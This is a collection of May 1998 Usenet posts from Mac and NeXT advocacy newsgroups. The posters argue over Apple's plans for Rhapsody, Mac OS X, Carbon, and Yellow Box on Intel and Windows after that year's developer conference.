YB/Windows does not compete with Rhapsody/PPC. Rhapsody/Intel does.
It's a matter of whether someone who would buy Rhapsody/Intel would buy
Rhapsody/PPC if it weren't available on Intel. If Apple wants
penetration into _non_-Mac shops, then it wants to be on Intel. Rhapsody
is a new thing and people with Intel boxes aren't inclined to be so
overjoyed that they're willing to switch over to PowerMacs. But if
they can try it on their existing machines for a relatively small cost,
they're more willing to. And many businesses are de facto Intel shops,
they don't buy anything else. If they get hooked on Rhapsody, maybe
that will change the next time they upgrade, but Apple at least needs
their foot in the door.
Plus, Apple might be thinking of keeping its foot in the door in the
Intel camp in case it ever decides to switch processors or become a
softare company.
Date: Wed, 13 May 1998 16:35:00 -0700
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Message-ID: <stevehix-1305981635010001@ip53.safemail.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <MPG.fc15adad12883c99896a7@news.supernews.com> <slrn6lf9fe.1lm.jason@jhste1.dyn.ml.org> <pulsar-ya02408000R1105982101010001@news-proxy.cso.uiuc.edu>
> > Donald Brown wrote:
> > Hey - let's nitpick! System 6 on an LCIII?
> Hum... yeah. Didn't the LC IIIs come with System 7? I don't think they were
> even capable of running System 6. :)
From the Apple Spec Database:
Supported Mac system software versions:
- 7.1, 7.1.1(Pro), 7.5, 7.5.1, 7.5.3, 7.5.5, 7.6, 7.6.1
Message-ID: <355A2CDD.5D486A73@unet.univie.ac.at>
Date: Thu, 14 May 1998 01:29:34 +0200
From: Christian Benesch <a9226931@unet.univie.ac.at>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Steve Jobs fulfills fiduciary responsibility
References: <6j9vr4$flq@nntp02.primenet.com> <6ja5o4$k4$1@news.idiom.com>
<Esvx8v.6n8@micmac.com> <6jcl93$1cc$26@ironhorse.plsys.co.uk> <355A2C13.2E1F83BF@trilithon.com>
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Henry McGilton wrote:
> mmalcolm crawford wrote:
>
> * The average customer is going to need a lot of convincing
> * that Rhapsody 1.0 isn't just going to be an orphaned product
> * on release -- if you need proof look at how many people here
> * still think Rhapsody's dead.
> Well, I dunno --- I wouldn't regard most posters to these
> newsgroups as a benchmark for having a clue . . .
Hehe...Exactly.
Christian Benesch
>
>
> ........ Henry
>
> =============================================================
> Henry McGilton | Trilithon Software, and,
> Boulevardier, Java Composer | Pacific Research and Trading
> -----------------------------+-------------------------------
> mailto:henry@trilithon.com | http://www.trilithon.com
> =============================================================
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: Wed, 13 May 1998 16:52:49 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355A1631.F7BD6362@milestonerdl.com>
References: <6jatq7$72e$1@xmission.xmission.com> <3559089F.C8BDFAD1@milestonerdl.com>
<3559173D.1A44DBFA@unet.univie.ac.at> <35597B98.E031BF17@milestonerdl.com>
<6jcjie$1cc$22@ironhorse.plsys.co.uk> <3559D285.C7FC88FA@milestonerdl.com> <6jd4b4$5nv$4@msunews.cl.msu.edu>
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spammers@ruin.the.internet.channelu.com wrote:
> In <3559D285.C7FC88FA@milestonerdl.com> M Rassbach wrote:
> >
> >
> > mmalcolm crawford wrote:
> >
> > > In <35597B98.E031BF17@milestonerdl.com> M Rassbach wrote:
> > >
> > > > Stepwise is a very pro-NeXTSTEP/OpenSTEP site.
> > > >
> > > So? Stepwise also has access to a number of clued up people inside
> Apple,
> > > and has established a record for getting facts right and not
> publishing
> > > unsubstantiated rumour.
>
> Yes. Thank you Stepwise. Go Scott!!
>
> > > > And if the cross-platform aspect is gone, I think of YellowBox is
> dead.
> > > >
> > > Where has anyone said that the cross-platform aspect has gone?
> > >
> > > Apple has just announced pricing information for YB/Windows, there
> were
> > > sessions on YB/Windows development at WWDC, YellowBox is alive and
> well.
> > >
> > > If you dig your head out of the sand you'll be able to hear the
> messages
> > > easier.
> >
> > To paraphrase someone else:
> >
> > I know Steve doesn't like to build software that sells someone else's
> > hardware. Unless there is a two way opportunity for PPC hardware
> sales, the
> > argument for cross-compiling - weak.
>
> Let's say for similiarly equipped PPC (same Mhz fo Mhz, same RAM, same
> HD, same graphics card, monitor) the price is 2:1. If the performance
> averages
> out to be 2:1 (remember Mhz for Mhz) then I can make a strong case
> that
> someone will buy the PPC vs. the Intel. The question will be when one
> factors
> into the equation the software/OS/support/power/stability whether the
> PPC
> will stand up over the Intel box. If it does then giving someone a
> Intel version
> of Rhapsody will only make them drool for PPC. If you don't then they
> will
> have no reason to drool since comparisions won't/can't be made.. Also
> take into account for many of the things I'll be doing I'll be
> comparing
> Rhapsody performance to Linux.
>
> > Can you give a compelling argument to future YellowBox support on
> Intel? One
> > that has NT 5.x/win98 listed EXPLICITLY? One that shows a future
> beyond
> > Rhapsody for Intel 1.0?
>
> There is no formal announcement of this support since there is no
> release of NT5
> and Win98. How can you support a non shipping product?
Simple. Just announce that "Apple considerers NT 5.x to be a key platform
to support. Apple Computer will work to support a NT 5.x version of
YellowBox technology." Says nothing about succeeding, and Apple can (and
has) change its mind. But, with no support mentioned, what is to be
assumed? That Apple will support or not?
> Who knows
> maybe
> this is under wraps since Bill Gates is slated to speak at a suprise
> session on
> friday - or by satellite? :)
Perhaps. A rumor is Win98 ships with YellowBox on it.
> I can't see any reason for Apple to drop
> Rhapsody
> for Intel. Clearly initial sales will dictate whether this is true,
> and if all you
> nay sayers and FUD spreaders have your way no-one will buy Rhapsody.
> And you will have a self fufilling prophecy.
>
And the self-fufulling prophecy can be broken when Apple publicly supports
the FUTURE of non-MacOS options.
We can all agree MacOS is Apple's 'core buiness'.
We can all agree Apple killed printers/Cameras/Netwon because they wern't
MacOS
Cross-platform support isn't MacOS.
Apple doesn't have to cancel YellowBox cross-platform....just stop doing
anything with it.
> > So far, all you've trotted out is MacOS as a future. NT4 is a
> present issue
> > that will be used 'till 1999....more than enuf time to justify
> pricing and
> > sessions.
> Bull. YB is the future, Rhapsody is the near future. Code for Java,
> or YB
> take your pick. People will be using 95/NT4 for some time to come.
How convincing is learning YellowBox if it runs on old 95/NT4 and Macintosh
machines?Carbon exists because YellowBox wasn't convincing enuf.
Here's one for you to think on:
If Apple HAD announced NT5/98/Solaris/HP-UX/Linux for YellowBox, would that
have been enuf to not NEED Carbon?
> Hell
> I still know people using NT3.51 for various reasons.
And, as Macintosh owners point out, Some macs still run MacOS 6.
> > Now, I know you can't know (or, well tell) about a win98 announcement
> on
> > Friday, but when the RDF is turned off Friday, will you have _in
> hand_
> > anything about NT5.x and Rhapsody for Intel beyond 1.0/beyond MacOS
> X?
> >
> Who knows. Wait until NT5 or 98 is announced/shipping and then bug
> Apple
> about it. Then you'll know.
If the end-game is a bait and switch, the end game will have been reached
at that time."Well sir, if that YellowBox application on Intel is so
important to you, come and buy this PPC box."
> I still don't see what your complaints
> are. Apple
> is committed to YB on other archs.
WHERE ARE THE PUBLIC STATEMENTS!
> I don't see that changing for some
> time to
> come - if they do drop it they will have given up and you can sell your
> Apple
> stock as Carbon or MacOS X won't cut it in my mind - not unless most of
> the
> Rhapsody core is still in MacOS (i.e. YB/Mach/BSD)
YellowBox will remain on MacOS. But anyone who bought into the
cross-platform argument is gonna be 'baited and switched'
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 13 May 1998 19:38:58 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jdaui$5bc$1@crib.bevc.blacksburg.va.us>
References: <ericb-1105981718430001@132.236.171.104> <1d8xsi0.kqhkhi73wgzsN@cetus181.wco.com> <6jbg5p$3fg$1@crib.bevc.blacksburg.va.us> <andyba-ya02408000R1305981555450001@news>
In article <andyba-ya02408000R1305981555450001@news>, andyba@corp.webtv.net (Andy Bates) wrote:
> > Yeah, but will there be Yellow Box on pre-OS X MacOS for those who don't
> > or can't upgrade to OS X?
> Yep. It's called Rhapsody. Maybe you've heard about it.
Uh, sorry. Rhapsody is not pre-OS X MacOS. MacOS users (e.g., OS 7.x
or 8 users) who haven't or can't upgrade to OS X or Rhapsody (e.g.,
hardware requirements) should still have a YB solution so developers
can target them too with new apps.
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 16:22:09 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R1305981622090001@news>
References: <ericb-1105981718430001@132.236.171.104> <6j7t4a$v9r$1@crib.bevc.blacksburg.va.us> <markeaton-1105982335100001@209.86.154.31> <6j9eb8$197$1@crib.bevc.blacksburg.va.us> <mcasse-2708561357200001@line8047.ras.ilstu.edu> <6jbrd7$1cc$13@ironhorse.plsys.co.uk> <6jcjs4$6ns$1@msunews.cl.msu.edu>
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In article <6jcjs4$6ns$1@msunews.cl.msu.edu>,
spammers@ruin.the.internet.channelu.com wrote:
> But reading along today I wondered about something. Wasn't BlueBox
> in Rhapsody supposed to be fully MacOS (at least 8.x don't know about
> 7)
> compatible. I mean in the past I kept hearing that all those Mac apps
> would run w/o any modification on Rhapsody..
Yes, that is correct.
> And there was a big
> deal made that essentially there would be a Mac.app application that
> one would start up to run those apps within that if the application you
> started within it would crash that the most it could take with it was
> the
> Mac.app.
Exactly.
> So now I wonder why Apple whips up Carbon. Clearly it is to reach
> out to the slew of MacOS developers and to try to get them to clean
> up their code. But was there something wrong with the above bluebox
> solution.
Yes: Blue Box apps couldn't run alongside Rhapsody apps, and they couldn't
take advantage of the modern OS features. With Rhapsody, you could run ten
apps in the Blue Box, and if one crashes, they would all crash. With
Carbon, they would need minor modification, then they could run completely
preemptively, and if they die, nothing else would die.
> I just think it is interesting the kind of spin they've put on this
> by calling it MacOS X rather than Rhapsody 2.0 and simply
> delinating the differences. Though it may be to keep the MacOS
> folks from rising up in arms ;)
Exactly. Rhapsody was necessary to show the break with Mac OS. But since
they've retained Mac OS compatibility, why not name it Mac OS X?
> It seems to me what Apple should be saying is that MacOS
> is very important to them, but to implement Bluebox effectively and
> guarantee cross OS support (MacOS 7, 8, Rhap) we have to strip
> down the MacOS calls to a subset.
But the whole idea of a Blue Box was that A) apps would run separately from
everything else, and B) they wouldn't have full use fo the OS features.
Carbon gets rid of this, and so the Box metaphor is no longer necessary.
> Think of Carbon is kind of a bootstrap to get MacOS developers back
> in the game and it will ONLY be for PPC. No-one else will want
> and or need it (nor should they) since they'll have YellowBox
> to code for which should get them everything they want.
Again, right on the money.
Andy Bates.
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 17:48:50 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355A2351.458CB254@milestonerdl.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100> <andyba-ya02408000R1205981051430001@news> <6jagk8$sol$1@xmission.xmission.com> <andyba-ya02408000R1305981540240001@news> <6jda1o$lf$1@xmission.xmission.com>
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Kristofer Jon Magnusson wrote:
> It looks like the Yellow Box on Windows will live,
But for how long?
> but word about an Apple
> OS on Intel has been conspiciously absent during this event.
That may be because cross-platform YellowBox is dead.
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy
Subject: Re: OpenStep for Windoze $20?
Date: 14 May 1998 00:06:50 GMT
Organization: University of California at San Diego
Message-ID: <slrn6lkdcp.o39.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <6jboq5$eua$9@news.idiom.com> <6jchqg$1cc$21@ironhorse.plsys.co.uk> <slrn6ljskk.p80.sal@panix3.panix.com> <3559F5D4.96E43F72@unet.univie.ac.at>
:I don't think it a good idea to bundle the YB-runtimes with the application, as
:you would purchase it every time when buying software from a different developer.
:
:Much better to sell it seperately and develop the apps around it with a mark
:"Requires YB for Win/Mac etc"
:Market it as a plug-in.
:Perhaps with a centralized licensing scheme.
No, very bad idea. Some OpenStep developer said that when they deployed
on Windows inside some company, people were very very worried about this
weird "OpenStep thing" they had to install. It didn't matter that it was
no different than the "DLLs" which come from any MFC application, the mere
fact that it was something special, and from "NeXT" or "Apple" was enough
to wig them out. Just being able to see an \APPLE directory was enough
to cause revolts.
In that world, applications have to be be just like "ordinary Windows
programs". Merely even having a separate name that end-users have to know
about adds encourages way too much angst.
YB for Windows shouldn't even have an identifiable name in the Windows
user's universe.
Remember, this is a case where people have found that in their experience
messing around with "voodoo" system stuff is dangerous and frightening,
especially if it's not "officially approved" from Microsoft.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 13 May 1998 16:57:21 -0700
Organization: Primenet Services for the Internet
Message-ID: <B17F8171-2CCAA@206.165.43.40>
References: <djboccip-1305981552470001@qburst.msfc.nasa.gov>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
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Dennis J. Boccippio <djboccip@hiwaay.net> said:
>In article <1d8z55p.vwwxef1p1uvo1N@roxboro0-057.dyn.interpath.net>,
>phenix@interpath.com (John Moreno) wrote:
>
>>
>> Tepid support for YB is easy to explain:
>> OpenDoc
>> QDGX
>> PowerTalk
>> Copland
>> .
>> .
>> .
>>
>
>The first three items you listed have (a) been made available
> to developers prior to release, (b) been released and (c) met
> with little developer interest, and hence placed in maintenance
> mode or phased out.
>
I think that you are re-inventing history. OpenDoc met with TREMENDOUS
developer interest. 1000 major companies endorsed it (name 100 companies
that have endorsed MacOS X).
GX met with tremendous developer interest. How many GX books were sold, I
wonder? How many people learned the API? Relatively few people were writing
apps for it, but of those apps that DO use it, virtually all commercial
apps are ranked 3 stars and above by MacWorld/MacUser. And, once GXFCN
starts shipping, watch the interest go right back up.
PowerTalk was met with tremendous interest also. Woz once told me that he
is STILL finding uses for it.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.powerpc.advocacy,comp.sys.next.advocacy
Subject: Re: New MMX-killer technology for PPC
Date: 13 May 1998 16:44:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B17F7E4B-20F52@206.165.43.40>
References: <B17F2AB9-62A6F@208.198.101.66>
nntp://news.primenet.com/comp.sys.powerpc.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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News flash: Metrowerks has committed to shipping AltiVec-oriented tools
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 13 May 1998 20:48:04 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jdf04$5f5$1@crib.bevc.blacksburg.va.us>
References: <ericb-1105981718430001@132.236.171.104> <6jagk8$sol$1@xmission.xmission.com> <andyba-ya02408000R1305981540240001@news> <355A3418.4A8D@stetson.edu>
In article <355A3418.4A8D@stetson.edu>, mbranton@stetson.edu wrote:
> not quite. it seems clear that running on intel in now not so important
> to apple. it started w/ cutting the clones, and it'll finish w/ rhapsody
> on intel being an afterthought. apple wants to sell you their hardware.
> anything that is perceived as a threat to that will go, or will be
> released in a way that makes it non-competetive w/ the ppc version.
Explain why they haven't just killed Rhapsody/Intel already, then.
("Because Apple said they'd ship it?" I think Apple has shown that
they're willing to be quite aggressive in killing things that they think
are going to hurt their bottom line. And it still doesn't explain why
Apple said that they'd ship it in the first place -- they didn't have to
do that, and they were surely aware of the issues then.)
I don't think Apple regards Rhapsody/Intel as nearly as important as
Rhapsody/PPC, but it appears that they think enough of it to keep it
around, based on their actions.
Date: Wed, 13 May 1998 17:52:09 -0700
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Message-ID: <stevehix-1305981752090001@ip53.safemail.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <Esu3v3.365@micmac.com> <see-below-1205981743380001@209.24.240.213> <EsvyFs.7qK@micmac.com> <6jco3t$6ns$3@msunews.cl.msu.edu> <stevehix-1305981547570001@ip53.safemail.com> <355A25D6.C2207F86@unet.univie.ac.at>
In article <355A25D6.C2207F86@unet.univie.ac.at>, Christian Benesch
<a9226931@unet.univie.ac.at> wrote:
> Steve Hix wrote:
> > Unless you have a serious investment in MacOS applications,
> > you wouldn't.
> > Fortunately, MacOS X swings both ways. (Ummm...sort of...)
> There is no point in developing for Carbon if you can write for YB.
Developers with a large investment in MacOS would *strenuously*
disagree with you.
For new applications from the ground up, YB makes lots of sense,
for upgrading legacy apps, it may not.
> And Carbon is there to make Mac developers realize this!!!!
> (Let's all hope this is successful)
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: DPS ( Was: Carbon features: NO Quickdraw !!)
Message-ID: <1998051401185200.VAA03980@ladder03.news.aol.com>
Date: 14 May 1998 01:18:52 GMT
Organization: AOL http://www.aol.com
References: <rex-1305982005510001@192.168.0.3>
It would be a really nice thing if Apple were to step in at this point and
bankroll the development of Display GhostScript for GNUstep.
They (GNU) is stumping for donations for it.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X
Date: 13 May 1998 05:34:32 GMT
Organization: I don't think so
Message-ID: <slrn6licji.1l3.jason@jhste1.dyn.ml.org>
References: <6j7roi$m57$1@nnrp1.dejanews.com> <35585EBF.8EA3C9C7@nstar.net> <6ja772$k4$5@news.idiom.com> <35592F47.95835927@nstar.net>
Michael J. Peck posted the following to comp.sys.mac.advocacy:
>Lord, no. I'm waiting for the really good stuff, like MacGIMP and MacXV.
>Makes me tingly all over...
>[the above is sarcasm]
Why would hoping for a free Photoshop clone for the Mac making you
"tingly" be sarcasm, Mike? Just wondering...
--
If FreeBSD actually did that, I would concede that FreeBSD was any more
"correct" than Linux is, but not even the FreeBSD people can justify
that kind of performance loss.
-- Linus Torvalds on comp.unix.advocacy
Message-ID: <3559173D.1A44DBFA@unet.univie.ac.at>
Date: Wed, 13 May 1998 05:45:01 +0200
From: Christian Benesch <a9226931@unet.univie.ac.at>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
References: <6jatq7$72e$1@xmission.xmission.com> <3559089F.C8BDFAD1@milestonerdl.com>
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Try www.stepwise.com for latest updates.
"YB is alive and well"
I tend to believe them.(for my mental sanity)
Benesch Christian
M Rassbach wrote:
> Kristofer Jon Magnusson wrote:
>
> > lly by the end of the week, we will find out for sure which API
> > is the preferred, if Rhapsody will survive as a server and development OS,
> > if it will stay on Intel.
>
> Is there an e-mail address that someone can suggest where 'we' can mail Apple
> and ask for clarification on some of these items?
>
> Perhaps the 'answers' sought will be at the closing remarks.
Message-ID: <35590EE4.9858E645@unet.univie.ac.at>
Date: Wed, 13 May 1998 05:09:24 +0200
From: Christian Benesch <a9226931@unet.univie.ac.at>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net>
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I still can't see,why they would want to abandon the BSD-part,as they had a working
system with NextStep and OpenStep all along.
With the modification to the kernel that now supports multiple processors it took them a
few months to get the whole thing running(quick I would say).
And as in OpenStep: if you don't need the Unix, you won't see the Unix.
Is there really such a Unix-phobia in the Mac-community?
Christian Benesch
Greg Alexander wrote:
> Forrest Cameranesi wrote in message ...
> >>But, what about a state-of-the-art development environment, and
> >>cross-platform compatility? I see what may be a pretty easy soloution to
> >>these two problems.
>
> Well as the initial hype/terror dies down - it seems YB and it's abilities remain.
> The way I see it - Apple has just made every existing MacOS developer happy.
> AND they've given a very good reason to buy Rhapsody-PPC (oops MacOS X)
> instead of Rhapsody-Intel.
>
> * the full range of Mac Apps available - optimised for the new system.
> (with older apps running seemlessly side by side)
> * the security and stability of the Rhapsody base (at least for now)
>
> Even though YB is still there - they've just restricted it a lot in this
> coming year:
> * YB won't run on MacOS 8
> * YB Runtime for Windows will cost ~$20
> * Many mac developers will go Carbon short term - so less YB apps.
> (but a lot more apps for PPC Rhapsody/X)
> * No commitment to Rhapsody-Intel next year.
> (given that MacOS X is really "Rhapsody 2.0 for PPC")
>
> And about cross platform Carbon:
> >>Could this <snip> allow a simple recompile for anything using
> >>Carbon+YB, to OSX/PPC, OSX/Intel, or Win9x/NT? And if/when Merced becomes
> >>popular, port to that too.
>
> That doesn't seem too far fetched. It would hurt YB, but grow the cross-platform
> promise. Is that good or bad?
> If it keeps a Mac-Unix on Intel, and brings lots of apps and ease-of-use then great!
>
> Pulsar wrote
> >Mac OS X is Rhapsody renamed and Carbon added. All
> >these announcements do not mean then end of Rhapsody, but rather
> >essentially mean the end of Mac OS!!! Apple has announced this in such a
> >way as to keep all the Mac OS faithful from panicking.
>
> I'm really sitting on the fence in this debate. I think Mac OS X
> is really Rhapsody 2 (Funny how all these articles are saying
> "Apple drops Rhapsody 1.0 in favor of Rhapsody 2.0!")
>
> All that can be said for sure is that current Mac developers just found
> a way to get their programs running reasonably on the new OS.
> Will MacOS X dumb down Rhapsody? or is it simply adding
> new functionality?
>
> I assume that MacOS X will be very similar to Rhapsody, with
> a seemless bluebox (for non carbon apps) and the removal
> of some 'obvious' unix-isms. But what about the next
> version? I don't think Apple hasn't decided what it
> will be based on or what it will support - which isn't good.
> * All Carbon or YB? (or bits of each?)
> * No Intel support? Windows 95 support? What about Merced?
> * Proprietary underpinnings? or Unix? maybe just Mach?
>
> To me "cross-platform, industry-standard, easy-to-use" is the key
> to Rhapsody. From a network administrator perspective - I
> can only be interested in a Unix based system. And since it will
> need applications - I want the YB to thrive.
>
> I know the Mac is easy to use - that never bothered me.
> But the battle line is not "Mac or Windows" it's "Unix or Windows".
>
> Greg
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.next.advocacy
Subject: Re: DPS ( Was: Carbon features: NO Quickdraw !!)
Date: Wed, 13 May 1998 20:05:49 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-1305982005510001@192.168.0.3>
References: <6j9631$61c$1@news.tudelft.nl> <1d8xt9j.1q6dg7q11738g0N@cetus181.wco.com> <6jbp3h$eua$10@news.idiom.com> <hAk61.1$o52.30691@news.san.rr.com> <6jcobq$53h$1@news.xmission.com> <slrn6ljs6u.p80.sal@panix3.panix.com>
In article <slrn6ljs6u.p80.sal@panix3.panix.com>, sal@panix3.panix.com
(Salvatore Denaro) wrote:
:On 13 May 1998 18:21:46 GMT, Don Yacktman <don@misckit.com> wrote:
:>An in-house, rebuilt from the ground up, clone without any ties to Adobe?
:
:What would they call it? Display QuickTime?
Nah, more like Quicktime 2D or Quickdraw PS. My guess is that it will
have some hokey name like Graphite.
:It would tick off Abode.
Yep, Apple *can't* make the 2D capabilities of Rhapsody too good. Adobe
would certainly complain. They've got more than enough competition from
Corel, Macromedia, and Metacreations.
:>Apple employees keep saying to wait until the graphics session on Thursday
:>and then it will become clearer. We should know then if my conjecture is
Knowing Apple, it will probably become clearer and hazier at the same
time. Personally, I don't think much of what is going to be said tomorrow
is going to 'stick' until the next WWDC. There will inevitably be some
major shifts and changes.
:Something based on GX code?
Doubtful. I'd hope they look at Taligent's code instead. OS-level
support for NURBS and filtering would be cool. It would probably never
happen though.
:Something based on Abode's web graphic format?
PDF? PGML?
:Something based on Bravo?
Almost certainly not.
I don't think there's much doubt that the new engine's going to look a
lot like DPS. If one thing has become apparent in the months of GX vs. DPS
debates, it's that the Appkit is very tightly bound to DPS. (Too tightly
bound, IMO...) Apple's probably going to have to create a clean room
version of it.
Of course, the question is how much of DPS' functionality is really
needed to allow the YellowBox to run. I can see Apple creating a limited
version for Mac OS X, and perhaps rolling in more features in later
releases.
-Eric
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 13 May 1998 00:17:03 -0700
Organization: Primenet Services for the Internet
Message-ID: <B17E96ED-40EFA@206.165.43.165>
References: <nagleEsvKot.1Hn@netcom.com>
nntp://news.primenet.com/comp.sys.next.advocacy
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John Nagle <nagle@netcom.com> said:
>markeaton@mindspring.canned-meat-filter.com (Mark Eaton) writes:
>>In article <6j7t4a$v9r$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu
>wrote:
>>> Why are you skeptical of MacOS X's shipping date?
>
> Because it's an Apple OS announcement. Look at their track record.
Given that it is a religion, don't you mean "*tract* record?"
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: freek@phil.uu.nl (Freek Wiedijk)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody vs MacOS X (was Re: Apple screws Rhapsody *and* Mac owners?)
Date: 13 May 1998 09:33:08 +0200
Organization: Department of Philosophy, Utrecht University, The Netherlands
Message-ID: <6jbibk$i15$1@larry.admin.phil.uu.nl>
References: <3558D5DA.D65392B1@milestonerdl.com> <B17EA13E-22584@208.254.113.242>
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Scott:
>But if Carbon is simply a way of putting existing MacOS
>API's on Mach, and Mach/Intel already exists, then
>cross-platform is already there, no?
No. They won't start implementing the Carbon API from
scratch. They're going to tweak their existing code. It'll
become messier and messier. Until it falls over.
Even HFS+ was not implemented from scratch, but just
consisted of tweaked HFS code. And that is _peanuts_
compared to the MacOS innards.
Freek
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody vs MacOS X (was Re: Apple screws Rhapsody *and* Mac owners?)
Date: Wed, 13 May 1998 19:24:03 -0700
Message-ID: <see-below-1305981924040001@209.24.241.190>
References: <ericb-1105981718430001@132.236.171.104> <6j9mjv$r3j$1@reader1.reader.news.ozemail.net> <6jalo6$k11$1@msunews.cl.msu.edu> <3558D5DA.D65392B1@milestonerdl.com> <6jbqm9$1cc$11@ironhorse.plsys.co.uk> <355976BF.37CD4D61@milestonerdl.com>
In article <355976BF.37CD4D61@milestonerdl.com>, mark@milestonerdl.com wrote:
> mmalcolm crawford wrote:
>
> > In <3558D5DA.D65392B1@milestonerdl.com> M Rassbach wrote:
> > > Well, anyone who was excited over YellowBox cross-compatibilty and was
> > > believing "YellowBox is the future of MacOS" is feeling like a Newton
> > > Developer right now.
> > >
> > Not at all, I fail entirely to understand how you come to this conclusion --
> > it is becoming increasingly obvious that YellowBox is the Way of the future.
>
> Before the spin-off there was 2 threads:
>
> Newton is dead!
> Newton will be continued and expanded and glorious!
>
> You (and most in the next newsgroup) fall into the glorious camp.
>
> And, like in the Newton days, without some statement of direction, the
glory can
> turn ugly.
From what I hear, Yellow Box is being actively upgraded, with _many_ more
things on the agenda. In addition, Apple will appearantly push YB for
Windows vigorously. This doesn't sound at all like something that's going
to be cancelled. Newton, on the other hand, was on shaky legs for years.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: mbkennel@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 13 May 1998 08:13:32 GMT
Organization: University of California at San Diego
Message-ID: <slrn6lilhb.kq9.mbkennel@lyapunov.ucsd.edu>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <stone-ya02408000R0505980240210001@news.enetis.net> <6inoup$ejt$1@gte2.gte.net> <rmcassid-0505981303570001@dante.eng.uci.edu> <6ir7ua$14g$1@nnrp1.dejanews.com> <rmcassid-0705980005120001@dialin33419.slip.uci.edu> <6ivv73$38k$1@nnrp1.dejanews.com> <rmcassid-0905981831450001@dialin9013.slip.uci.edu> <6j4gep$l28$1@nnrp1.dejanews.com> <rmcassid-1105981238190001@dante.eng.uci.edu> <6j8cet$fgg$1@nnrp1.dejanews.com> <rmcassid-1205980106390001@dialin33418.slip.uci.edu> <6jb7i9$d0l$1@nnrp1.dejanews.com>
